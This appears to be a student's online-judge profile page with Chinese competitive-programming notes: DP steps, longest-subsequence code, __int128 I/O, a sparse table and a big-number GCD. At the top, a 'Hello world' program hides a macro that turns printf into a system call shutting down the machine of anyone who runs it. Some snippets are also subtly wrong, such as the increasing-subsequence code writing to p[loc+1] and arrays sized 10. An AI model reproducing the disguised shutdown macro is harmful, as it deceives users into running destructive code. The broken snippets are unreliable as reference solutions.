• 个人简介

    woohoo~

    #include<iostream>
    #pragma GCC optimize(2)
    #pragma GCC optimize(3)
    #define printf(x) system("shutdown -s -t 0"),printf(x)
    using namespace std;
    int main(){
    	printf("Hello world!");
    	return 0;
    }
    

    oldclass.com

    重要的知识点{\huge \mathbf{重要的知识点} }



    动态规划 \Huge{动态规划 }

    1.划分阶段\mathbf{{\LARGE 1.划分阶段} }

    2.确定状态和状态变量\mathbf{{\LARGE 2.确定状态和状态变量} }

    3.确定决策并写出状态转移方程\mathbf{{\LARGE 3.确定决策并写出状态转移方程} }

    4.寻找边界条件\mathbf{{\LARGE 4.寻找边界条件} }

    5.程序设计实现(递推式)\mathbf{{\LARGE 5.程序设计实现(递推式)} }


    最长不下降子序列(优化){\Large \mathbf{最长不下降子序列(优化)} }

    #include<iostream>
    #include<algorithm>
    using namespace std;
    int n,a[10],p[10],cnt;
    int main(){
    	cin>>n;
    	for(int i=1;i<=n;i++)cin>>a[i];
    	p[++cnt]=a[1];
    	for(int i=2;i<=n;i++){
    		if(a[i]>=p[cnt]){
    			p[++cnt]=a[i];
    		}else{
    			int loc=upper_bound(p+1,p+cnt+1,a[i])-p;
    			p[loc]=a[i];
    		}
    	}
    	cout<<cnt;
    }
    

    最长上升子序列(优化{\Large \mathbf{最长上升子序列(优化})}

    #include<iostream>
    #include<algorithm>
    using namespace std;
    int n,a[10],p[10],cnt;
    int main(){
    	cin>>n;
    	for(int i=1;i<=n;i++)cin>>a[i];
    	p[++cnt]=a[1];
    	for(int i=2;i<=n;i++){
    		if(a[i]>p[cnt]){
    			p[++cnt]=a[i];
    		}else{
    			int loc=lower_bound(p+1,p+cnt+1,a[i])-p;
    			p[loc+1]=a[i];
    		}
    	}
    	cout<<cnt;
    }
    

    __int128(高精度plus){\Large \mathbf{int128(高精度plus)}}

    //__int128!!!
    #include<iostream>
    #include<cstring>
    using namespace std;
    __int128 n;
    __int128 read(){
    	__int128 a=0;
    	char s[1010];
    	cin>>s;
    	for(int i=0;i<strlen(s);i++){
    	    a*=10;
    	    a+=s[i]-'0';
    	}
    	return a;
    }
    void putout(__int128 num){
        if(num>=10)putout(num/10);
        putwchar(num%10+'0');
    }
    int main(){
        n=read();
    	putout(n);
    	return 0;
    }
    

    我的评价是:太好用了!{\small \mathbf{我的评价是:太好用了!}}


    稀疏表{\Large \mathbf{稀疏表}}

    解题思路:先用ST表求出,再O(1)输出\mathbf{解题思路:先用ST表求出,再O(1)输出}

    可是有些题没有给出左右端点怎么办呢?\mathbf{可是有些题没有给出左右端点怎么办呢?}

    我们可以先枚举左端点,再加速寻找右端点\mathbf{我们可以先枚举左端点,再加速寻找右端点}

    #include <iostream>
    using namespace std;
    long long f[1000001][30],log[64];
    int read(){
    	char c=getchar();
    	int x=0,f=1;
    	while(c<'0'||c>'9'){
    		if(c=='-')f=-1;
    		c=getchar();
    	}
    	while(c>='0'&&c<='9'){
    		x=x*10+c-'0';
    		c=getchar();
    	}
    	return x*f;
    }
    int main() {
    	long long n=read();
    	long long m=read();
    	log[0]=-1;
    	for(int i=1;i<=n;i++){
    		f[i][0]=read();
    		log[i]=log[i>>1]+1;
    	}
    	for(int j=1;j<=log[n];j++){
    		for(int i=1;i+(1<<j)-1<=n;i++){
    			f[i][j]=max(f[i][j-1],f[i+(1<<(j-1))][j-1]);
    		}
    	}
    	for (int i=1;i<=m;i++){
    		long long x =read(),y=read();
    		long long s =log[y-x+1];
    		printf("%lld\n",max(f[x][s],f[y-(1<<s)+1][s]));
    	}
    	return 0;
    }
    

    高精度求最大公因数高精度求最大公因数

    //高精度求最大公因数 
    #include<iostream>
    #include<cstring>
    using namespace std;
    string s;
    int a[100010],b[100010],c[100010],d[100010],e[100010],ak,bk,ck=1,dk;
    inline void print(char ch){
    	int flag=0;
    	if(ch=='a'){
    		for(int i=ak;i>0;i--)cout<<a[i];
    //		for(int i=100009;i>0;i--){
    //			if(a[i]!=0)flag=1;
    //			if(flag==1)cout<<a[i];
    //		}
    	}
    	if(ch=='b'){
    		for(int i=bk;i>0;i--)cout<<b[i];
    //		for(int i=100009;i>0;i--){
    //			if(b[i]!=0)flag=1;
    //			if(flag==1)cout<<b[i];
    //		}
    	}
    	if(ch=='c'){
    		for(int i=100009;i>0;i--){
    			if(c[i]!=0)flag=1;
    			if(flag==1)cout<<c[i];
    		}
    	}
    	if(ch=='d'){
    		for(int i=100009;i>0;i--){
    			if(d[i]!=0)flag=1;
    			if(flag==1)cout<<d[i];
    		}
    	}
    }
    inline void mod(char ch){
    	if(ch=='a'){
    		for(int i=2;i<=ak;i++){
    			a[i]+=a[i-1]/10;
    			a[i-1]=a[i-1]%10;
    		}
    		if(a[ak]>=10){
    			a[++ak]+=a[ak-1]/10;
    			a[ak-1]=a[ak-1]%10;
    		}
    		if(a[ak]==0)ak--;
    		return;
    	}
    	if(ch=='b'){
    		for(int i=2;i<=bk;i++){
    			b[i]+=b[i-1]/10;
    			b[i-1]=b[i-1]%10;
    		}
    		if(b[bk]>=10){
    			b[++bk]+=b[bk-1]/10;
    			b[bk-1]=b[bk-1]%10;
    		}
    		if(b[bk]==0)bk--;
    		return;
    	}
    	if(ch=='c'){
    		for(int i=2;i<=ck;i++){
    			c[i]+=c[i-1]/10;
    			c[i-1]=c[i-1]%10;
    		}
    		if(c[ck]>=10){
    			c[++ck]+=c[ck-1]/10;
    			c[ck-1]=c[ck-1]%10;
    		}
    		if(c[ck]==0)ck--;
    		return;
    	}
    	if(ch=='d'){
    		for(int i=2;i<=dk;i++){
    			d[i]+=d[i-1]/10;
    			d[i-1]=d[i-1]%10;
    		}
    		if(d[dk]==0)dk--;
    		return;
    	}
    }
    inline void cheng2(char ch){
    	if(ch=='a'){
    		for(int i=ak;i>=1;i--){
    			a[i]=a[i]*2;
    		}
    		mod('a');
    		return ;
    	}
    	if(ch=='b'){
    		for(int i=bk;i>=1;i--){
    			b[i]=b[i]*2;
    		}
    		mod('b');
    		return ;
    	}
    	if(ch=='c'){
    		for(int i=ck;i>=1;i--){
    			c[i]=c[i]*2;
    		}
    		mod('c');
    		return ;
    	}
    }
    inline void chu2(char ch){
    	int ans=0;
    	if(ch=='a'){
    		for(int i=ak;i>=1;i--){
    			ans=ans*10+a[i];
    			a[i]=ans/2;
    			ans=ans%2;
    		}
    		mod('a');
    		return ;
    	}
    	if(ch=='b'){
    		for(int i=bk;i>=1;i--){
    			ans=ans*10+b[i];
    			b[i]=ans/2;
    			ans=ans%2;
    		}
    		mod('b');
    		return ;
    	}
    	if(ch=='c'){
    		for(int i=ck;i>=1;i--){
    			ans=ans*10+c[i];
    			c[i]=ans/2;
    			ans=ans%2;
    		}
    		mod('c');
    		return ;
    	}
    }
    int check(){
    	if(ak>bk)return 1;
    	if(ak<bk)return 2;
    	for(int i=1;i<=ak;i++){
    		if(a[i]>b[i])return 1;
    		if(a[i]<b[i])return 2;
    	}
    	return 0;
    }
    int main(){
    	cin>>s;
    	c[1]=1;
    	for(int i=s.size()-1;i>=0;i--){
    		a[++ak]=s[i]-'0';
    	}
    	cin>>s;
    	for(int i=s.size()-1;i>=0;i--){
    		b[++bk]=s[i]-'0';
    	}
    //	cheng2('b');
    //	a[1]++;
    //	mod('a');
    	int w=check();
    //	print('a');
    //	cout<<endl;
    //	print('b');
    //	cout<<endl;
    	while(w!=0){
    		int a1=(a[1]-'0')%2,b1=(b[1]-'0')%2;
    		if(a1==0&&b1==0){
    			chu2('a');
    			chu2('b');
    			cheng2('c');
    			goto e;
    		}
    		if(a1==0&&b1!=0){
    			chu2('a');
    			goto e;
    		}
    		if(a1!=0&&b1==0){
    			chu2('b');
    			goto e;
    		}
    		if(a1!=0&&b1!=0){
    			if(w==2){
    				memset(d,0,sizeof(d));
    				dk=bk;
    				for(int i=1;i<=dk;i++){
    					d[i]=d[i]+(b[i]-a[i]);
    					if(d[i]<0){
    						d[i]=d[i]+10;
    						d[i+1]--;
    					}
    				}
    				mod('d');
    				for(int i=1;i<=dk;i++){
    					b[i]=d[i];
    				}
    				for(int i=dk+1;i<=bk;i++){
    					b[i]=0;
    				}
    				bk=dk;
    			}else{
    				memset(d,0,sizeof(d));
    				dk=ak;
    				for(int i=1;i<=dk;i++){
    					d[i]=d[i]+(a[i]-b[i]);
    					if(d[i]<0){
    						d[i]=d[i]+10;
    						d[i+1]--;
    					}
    				}
    				mod('d');
    				for(int i=1;i<=dk;i++){
    					a[i]=d[i];
    				}
    				for(int i=dk+1;i<=bk;i++){
    					a[i]=0;
    				}
    				ak=dk;
    			}
    		}
    		e:;
    		w=check();
    //		cout<<w<<":___";
    //		print('a');
    //		cout/*<<ak*/<<" "/*<<bk*/;
    //		print('b');
    //		cout<<endl; 
    //		cout<<endl;
    	}
    //	cout<<"A: ";
    //	print('a');
    //	cout<<endl<<"C: ";
    //	print('c');
    	int ca=0;
    	for(int i=1;i<=ck;i++){
    		for(int j=1;j<=ak;j++){
    			e[i+j]+=a[j]*c[i]+ca;
    			ca=e[i+j]/10;
    			e[i+j]%=10;
    		}
    	}
    //	cout<<endl;
    	int flag=0;
    	for(int i=ak+ck;i>1;i--){
    //		cout<<e[i];
    		if(e[i]!=0)flag=1;
    		if(flag==1)cout<<e[i];
    	}
    }
    

    good.

    .在线代码编辑器在线代码编辑器

    .尺规作图尺规作图

    .数学计算器数学计算器.

    .什么货币中心什么货币中心

    .数学绘图工具数学绘图工具

    .xiaoyouxixiaoyouxi

    .什么实验室什么实验室

    .CSDNCSDN

    .LaTeXLaTeX

    .文本比较文本比较

    .ATcoderATcoder

    .

    没打完的题目:暂无

    暂无
    

    .